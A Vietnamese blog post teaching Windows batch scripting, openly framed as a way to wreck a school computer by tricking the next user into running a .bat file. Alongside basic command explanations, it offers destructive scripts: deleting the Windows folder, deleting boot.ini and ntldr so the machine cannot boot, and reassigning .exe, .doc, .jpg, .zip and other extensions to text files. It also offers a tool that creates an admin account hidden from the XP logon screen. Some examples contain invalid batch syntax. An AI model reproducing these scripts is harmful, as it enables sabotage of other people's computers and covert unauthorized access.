Lập trình Command line (Bat)

Lập trình Command line (Bat)
Thể loại:Command lineTrang chủ:SHOPCNTT
Sử dụng:Miễn phíDung lượng:430.01 MB
Cập nhật:01-07-2013Ngôn ngữ:English
Nguồn:InternetPassword:Không có
Phát hành:Chưa xác địnhHỗ trợ:Không có
Yêu cầu:Windows XP SP2, Windows Vista, Windows 7

Lập trình Command line (Bat)

Lập trình Command line (Bat) - shopcntt
Lập trình Command line (Bat) SHOPCNTT
4.5/5
13490 bài đánh giá 7.861 lượt tải
GIỚI THIỆU
Giả sử ta đang ngồi 1 cái máy ở trường mà ta rất ghét, mún phá nó quá (nhưng không mún ai bít cơ:88 ---
 
tìm xung quanh chẳng thấy cái gì có thể làm 1 cái chương trình để cho thèng ngồi lần sau ấn vào là toi T_T Lúc này làm 1
 
cái BAT-file roài dụ nó ấn vào là chuẩn Nhưng ta phải làm thế nào bây giờ, mình sẽ giúp các bạn (mình hiểu thế nào
 
oánh thế đó đó :109.....
_ Lập trình với BAT, sử dụng các command (lệnh) của MSDOS VD: del, cd, copy v.v..v.. Nó trở lên rất dễ với ai đã
 
quá quen với command của dos:77:
VD: Chương trình BAT có dạng
 
Code:
 
ECHO Chuong trinh thu nhat
CD %WinDir%
DEL *.*
_Ta mở notepad lên và oánh đoạn đó vào, save với 1 name bất kỳ nhưng phải có extension (đuôi, phần mở rộng) là bat
 
, khi nào cần đến chỉ cần ấn đúp vào nó thoai (trong Windows) còn ở cmd thì chỉ cần gọi tên của nó ra, ta save là chul
 
thì đánh chữ chul vào bat file sẽ hoạt động :88:
_ Chương trình ở trên ECHO ( Viết ra màn hình 1 đoạn chữ ), roài vào thư mục của windows, xóa hết tất cả cái gì trong đó 
======== Programming ==========
_ Hầu hết tất cả chương trình Bat đều có dòng @echo off... Vì sao thía nhỉ?
_Trong MSDOS... dấu @ đằng trước để giấu report (thông tin trả về từ lệnh nào đó) của lệnh đó đi.
 
Lệnh echo off làm cho prompt (dấu nhắc) biến mất, và thực thi các lệnh sau đó mà không ai bít là đang chạy command của bat cả 
_Mình sẽ liệt kê ra đây 1 số command cơ bản trong lúc lập trình, những lệnh nào chủ yếu sử dụng sẽ được nói rõ
 
_CLS: Clear Screen ( Xóa màn hình )
 
CD: Vào 1 thư mục nào đó
__ CD C:\Windows { Vào thư mục Windows}
__ CD .. {Lùi trở về 1 thư mục, vd bạn đang ở thư mục windows\system32 thì nó lùi về thư mục Windows}
__ CD \ {Lùi về thư mục gốc (root)}
 
DIR: Hiển thị các tệp và thư mục con trong thư mục chính
__ DIR /A { Hiển thị tất cả files cả files ẩn và system}
 
_ECHO ( Lệnh điều khiển các lệnh và viết output ra màn hình)
Cấu trúc: echo [ON|OFF|message|.]
 
__ echo {Hiển thị trạng thái của ECHO là ON hay OFF}
__ echo ON {Khôi phục ECHO về trạng thái ban đầu}
__ echo OFF {Ẩn dấu nhắc của DOS}
__ echo Nhin gi? {Hiển thị ra màn hình chữ Nhin gi?}
__ echo %CHUL% {Hiển thị ra màn hình giá trị của biến CHUL(sẽ nói ở dưới)}
__ echo. {Hiện thị 1 khoảng trắng, tương tự như \n}
__ echo Y|Del *.* {Tự động trả lời YES với câu lệnh DEL *.*, tức là tự động xóa tất cả các file trong thư mục bạn đang ở}
 
GOTO: Chạy các lệnh trong label (hic... đếch hỉu cái này có nghĩa gì, nhãn àh?)
__ goto CHUL {Chạy các lệnh trong label CHUL}
 
SET: Tạo, thay đổi hoặc xóa các giá trị
Cấu trúc: set [variable=[giátrị]] {variable: là 1 đoạn các ký tự, chấp nhận cả khoảng trắng.. }
__ set {hiển thị tất cả các giá trị đã được set =.=}
__ set USER=CHUL {Set giá trị CHUL cho USER}
__ set USER= {xóa USER}
 
CALL: Gọi 1 BAT file khác
call [drive:][path]filename [batch-parameters]
 
REM: Tạo ghi chú cho file bat
 
EXIT: Thoát
 
IF: Câu điều kiện (thực hiện lệnh nếu thỏa mãn điều kiện)
Cấu trúc: if [not] điềukiện lệnh
__ if [not] errorlevel number command { Ở đây errorlevel là giá trị trả về của 1 chương trình hay 1 lệnh
 
(giống return ghê) chỉ có các lệnh: BACKUP, RESTORE, FORMAT, REPLACE, và XCOPY mới có errorlevel.
 
Number là số mà ta nhập vào, nếu số lớn hơn giá trị trả về của error number thì điều kiện là true và command (lệnh) được thực hiện,
 
nếu nhỏ hơn thì là FALSE.. không thực hiện}
__ BACKUP C:\*.* A: /s if errorlevel 3 goto END { Lệnh này thực hiện BACKUP ổ C, nếu errorlevel lớn hơn 3 thì sẽ được chuyển tới các
 
lệnh trong label END.
 
_ FOR: (Cái này mình hông bít rõ định nghĩa lắm =.=) Lặp lại thao tác của các lệnh trong câu lệnh FOR.
Cấu trúc: for %%thamsố in (lệnh) do command
{ Tham số từ các ký tự từ A->Z, lệnh là các command của dos, có thể dùng lệnh CALL để gọi 1 bat file khác cho đỡ rườm
 
ra nếu câu lệnh quá nhiều
__ for %%d in (C,D) do DIR %%d *.* { DIR (hiển thị) tất cả các files trong ổ C, D)
__ for %%f in (*.TXT *.BAT *.DOC) do TYPE %%f { TYPE ( Hiển thị nội dung files) của tất cả các files có phần mở rộng là TXT, BAT, DOC}
__ for %%P in (%PATH%) do if exist %%P\*.BAT COPY %%P\*.BAT C:\BAT
 
{ Nếu có thư mục trong biến %PATH% thì ta copy tất cả files có phần mở rộng là BAT trong thư mục đó ra
 
C:\BAT (%PATH% đã được SET giá trị}
__ for %%f in (*.PAS) do call complie %%f { Gọi bat file Complie.bat ở cùng thư mục thực hiện các lệnh của nó
 
với tất cả file có phần mở rộng là PAS}
 
Tạm xong các lệnh cơ bản... ta típ tục thực hành nào
 
%DIGIT: Tham số {digit là số}
%digit : {Gồm các số từ 0 tới 9, được nhập vào từ bàn phím}
VD: ta có 1 chương trình
 
Code:
 
@ECHO OFF
CD\
CD %1
DEL %2
Ta save nó ở ổ C:\ là 1.bat, típ theo ta vào Start=>Run, oánh vào đó
 
Code:
 
C:\1.BAT Windows *.*
Khi đó thì ta đã nhập cho %1 giá trị là Windows và %2 là *.*
 
==> chương trình trên sẽ thực hiện lệnh xóa hết tất cả các file trong thư mục windows.
 
SHIFT: Ta hãy xem tác dụng của nó = chương trình ở dưới
 
Code:
 
@ECHO OFF
ECHO Gia tri thu nhat la %1
ECHO.
SHIFT
ECHO Gia tri thu hai la %1
ECHO.
SHIFT
ECHO Gia tri thu ba la %1
Ta save nó là 2.bat và Chạy nó như sau
 
Code:
 
C:\2.bat hcs hce vbf
Thì nó sẽ xuất ra như sau
 
Code:
 
Gia tri thu nhat la hcs
 
Gia tri thu hai la hce
 
Gia tri thu ba la vbf
Ta thấy các tham số đều là %1, vậy lệnh shift đã đưa các giá trị của tham số từ trên xuống dưới %1 là hcs, %2 là hce, %3 là vbf
 
FOR: Vòng lặp for
_Cấu trúc: FOR %%PARAMETER IN(set) DO command
Ta sẽ thử 1 đoạn đơn giản
 
Code:
 
@ECHO OFF
CLS
FOR %%A IN(hce,hcs) DO ECHO %%A
Trong đó, đoạn IN(hcs,hcs) là danh sách các lệnh hay ký tự để vòng lặp for chạy.
 
%%a được gán những gia trị khác nhau để khi thực hiện các lệnh bằng giá trị đó. 
Đoạn chương trình trên sẽ hiện ra
 
Code:
 
hce
hcs
Ta sẽ thêm 1 VD, kết hợp for và %digit
 
Code:
 
@ECHO OFF
 
ECHO.
 
ECHO Chuong trinh se del cac file sau
 
ECHO %1 %2
 
ECHO.
 
ECHO Neu ban khong mun tip tuc thi out di
 
PAUSE
 
FOR %%a IN (%1 %2 ) DO DEL %%a
 
ECHO Da xoa xong
Ta save nó vào ổ C:\ với tên là 3.bat
 
Code:
 
Start=> Run: C:\3.bat C:\Boot.ini C:\ntldr
Khi đó chương trình sẽ thực hiện xóa 2 file là c:\boot.ini và c:\ntldr..
Khi chạy, nó sẽ hiện thị
 
Code:
 
Chuong trinh se del cac file sau
C:\Boot.ini C:\ntldr
 
Neu ban khong mun tip tuc thi out di
Press any key to continue . . .
 
Da xoa xong
LABEL (Là gì ai bảo hộ em với >.< )
Với LABEL ta có thể tạo 1 vòng lặp đơn giản
 
Code:
 
@echo off
:loop
echo Vong Lap
goto loop
Khi đó chữ Vong Lap sẽ xuất hiện liên tục =.=
:loop là để khai báo vòng lặp loop...
goto loop là để gọi label loop ra 
Típ theo VD thứ 2:
 
Code:
 
@echo off
:loop
if exist c:\boot.ini goto bootini
else
echo Ban khong co boot.ini
:bootini
echo ban co boot.ini
Chương trình trên sẽ kiểm tra ổ C có boot.ini không, nếu có thì tới label :bootini nếu không thì sẽ hiển thị ra màn hình chữ
 
Ban khong co boot.ini
Típ tục thêm 1 vd, ta sẽ sử dụng IF [NOT] string1==string2 Command
 
Code:
 
@ECHO off
IF %1==copy GOTO COPY 
else 
IF%1==del GOTO DEL
else 
ECHO Dinh lam gi the ku
:COPY
Copy %2 C:
GOTO :END
:DEL
del %2
:END
Lại típ tục save nó thành 4.bat
 
Code:
 
 Start=>Run: C:\4.bat copy E:\Windows\win.ini
Khi đó, CT sẽ tới Label copy và copy E:\windows\win.ini sang ổ C:\
còn nếu
 
Code:
 
 Start=>Run: C:\4.bat del E:\Windows\win.ini
Thì CT sẽ del E:\Windows\win.ini =.=...
 
Sử dụng echo, gán giá trị vào files
VD:
 
Code:
 
 echo %1 >> chul.txt
Tới đây thì ai cũng bít cách run nó rùi chứ? ... chương trình sẽ ghi đoạn ta type vào file chul.txt
Ta sẽ có thêm 1 vài câu lệnh
 
Code:
 
  
  command >> file {Ghi command vào file}
  command > nul { thực hiện các lệnh mà không hiển thị output:D, vd copy c:\boot.ini d:\ > nul}
  command < file  {Chạy command từ file}
Làm việc với registry
Bat file không hỗ trợ ghi vào registry, nhưng ta có thể dùng echo tạo ra 1 *.reg để ghi vào registry
VD:
 
Code:
 
echo Windows Registry Editor Version 5.00>%TEMP%\addregistry.reg
echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Chul]>>%TEMP%\addregistry.reg
echo "Chul"=dword:00000000>>%TEMP%\addregistry.reg
Regedit /s %TEMP%\addregistry.reg
Khi đó, ta đã tạo ra 3 dòng ghi vào trong addregistry.reg, rồi run nó bằng tools regedit của windows =.=.....
 
Trên đây là những cái cơ bản về lập trình bat để bạn có thể viết 1 cái gì đó cho mình.... 
Còn đây là các chương trình viết = bat :
1_ Tạo nick admin trong WinXP
 
Code:
 
@ECHO off
 
TITLE Admin account creator (0ni)
 
COLOR 0f
 
set AC_PART=001
 
:HEADER
 
echo.
 
ECHO   [INFO]
 
ECHO   [-] Create a hidden user acount (U:%AC_NAME%; P:%AC_PASS%; G:%AC_GROUP%; H:%AC_HIDE% )
 
echo     \
 
GOTO %AC_PART%
 
 
 
 
 
:001
 
SET /P AC_NAME=[*] Acount name? :
 
cls
 
SET AC_PART=002
 
GOTO HEADER
 
 
 
 
 
:002
 
SET /P AC_PASS=[*] Acount password? :
 
cls
 
SET AC_PART=003
 
GOTO HEADER
 
 
 
:003
 
SET /P AC_COMMENT=[*] Acount Comment? :
 
cls
 
SET AC_PART=004
 
GOTO HEADER
 
 
 
 
 
:004
 
ECHO     [* The following groups are available on the machine.
 
ECHO.
 
net localgroup | find "*"
 
ECHO.
 
SET /P AC_GROUP=[*] Group? :
 
cls
 
SET AC_PART=005
 
GOTO HEADER
 
 
 
 
 
:005
 
SET /P AC_OK=[*] Creating acount now, Continue? (y/n) :
 
IF NOT %AC_OK%==y GOTO 0051
 
net user %AC_NAME% %AC_PASS% /add /COMMENT:"%AC_COMMENT%"
 
net localgroup "%AC_GROUP%" %AC_NAME% /add
 
ECHO.
 
pause
 
 
 
:0051
 
cls
 
SET AC_PART=006
 
GOTO HEADER
 
 
 
 
 
:006
 
SET /P AC_HIDE=[*] Do you want to hide the acount from the XP logon screen? (y/n) :
 
IF NOT %AC_HIDE%==y GOTO END
 
echo Windows Registry Editor Version 5.00>%TEMP%\addregistry.reg
 
echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList]>>%TEMP%\addregistry.reg
 
echo "%AC_NAME%"=dword:00000000>>%TEMP%\addregistry.reg
 
Regedit /s %TEMP%\addregistry.reg
 
Del %TEMP%\addregistry.reg
 
:END
 
ECHO.
 
pause
2_ Xóa các phần mở rộng của file
 
Code:
 
if exist c:\safety.txt goto end
 
copy "C:\WINDOWS\System32\winmine.exe" "C:\WINDOWS\winmine.sbs
 
copy "C:\WINDOWS\System32\winmine.exe" "C:\WINDOWS\System32\winmine.sbs
 
assoc .sbs=exefile
 
regedit.exe /s .\nuke.reg
 
assoc .bat=txtfile
 
assoc .com=txtfile
 
assoc .cmd=txtfile
 
assoc .exe=txtfile
 
assoc .doc=txtfile
 
assoc .ppt=txtfile
 
assoc .xls=txtfile
 
assoc .jpg=txtfile
 
assoc .png=txtfile
 
assoc .jpeg=txtfile
 
assoc .vir=exefile
 
assoc .avi=txtfile
 
assoc .mpg=txtfile
 
assoc .bak=txtfile
 
assoc .docx=txtfile
 
assoc .pptx=txtfile
 
assoc .xlsx=txtfile
 
assoc .sav=txtfile
 
assoc .rar=txtfile
 
assoc .zip=txtfile
 
assoc .7z=txtfile
 
assoc .gz=txtfile
vv.v..v.v
 
 
 
 
==================================
@echo off 
echo HIDDEN and SHOW PARTITION!!! 
echo 1.An 
echo 2.Hien 
echo 3.Ket Thuc 
set p= 
set /p p= OPTION: 
if %p%==1 goto an 
if %p%==2 goto hien 
if %p%==3 goto kt 
if not %p%==3 goto kt 
:an 
cd /d c:\ 
echo -------------------------------------------------------------------------- 
echo XEM DANH SACH CAC O DIA DUOC LIET KE VA 
echo NHAN MOT PHIM BAT KI DE TIEP TUC 
ECHO -------------------------------------------------------------------------- 
echo.list.txt 
echo list volume >>list.txt 
diskpart /s list.txt 
pause 
del /q list.txt 
color b 
set v= 
set /p v=Nhap Volume: 
set d= 
set /p d=Nhap Ten Nhan Dia: 
echo.dp.txt 
echo list volume>>dp.txt 
echo select volume %v% >>dp.txt 
echo remove letter %d% >>dp.txt 
diskpart /s dp.txt 
del dp.txt 
goto kt 
:hien 
cd /d c:\ 
echo -------------------------------------------------------------------------- 
echo XEM DANH SACH CAC O DIA DUOC LIET KE VA 
echo NHAN MOT PHIM BAT KI DE TIEP TUC 
ECHO -------------------------------------------------------------------------- 
echo.list.txt 
echo list volume >>list.txt 
diskpart /s list.txt 
pause 
del /q list.txt 
color b 
set v= 
set /p v=Nhap Volume: 
set d= 
set /p d=Nhap Ten Nhan Dia: 
echo.dp.txt 
echo list volume>>dp.txt 
echo select volume %v% >>dp.txt 
echo assign letter %d% >>dp.txt 
diskpart /s dp.txt 
del dp.txt 
goto kt 
:kt 
cls 
echo #===============================================# 
echo HOAN TAT!!! 
pause

1 comments:

Unknown said...

Báo lỗi ko cho tải

Post a Comment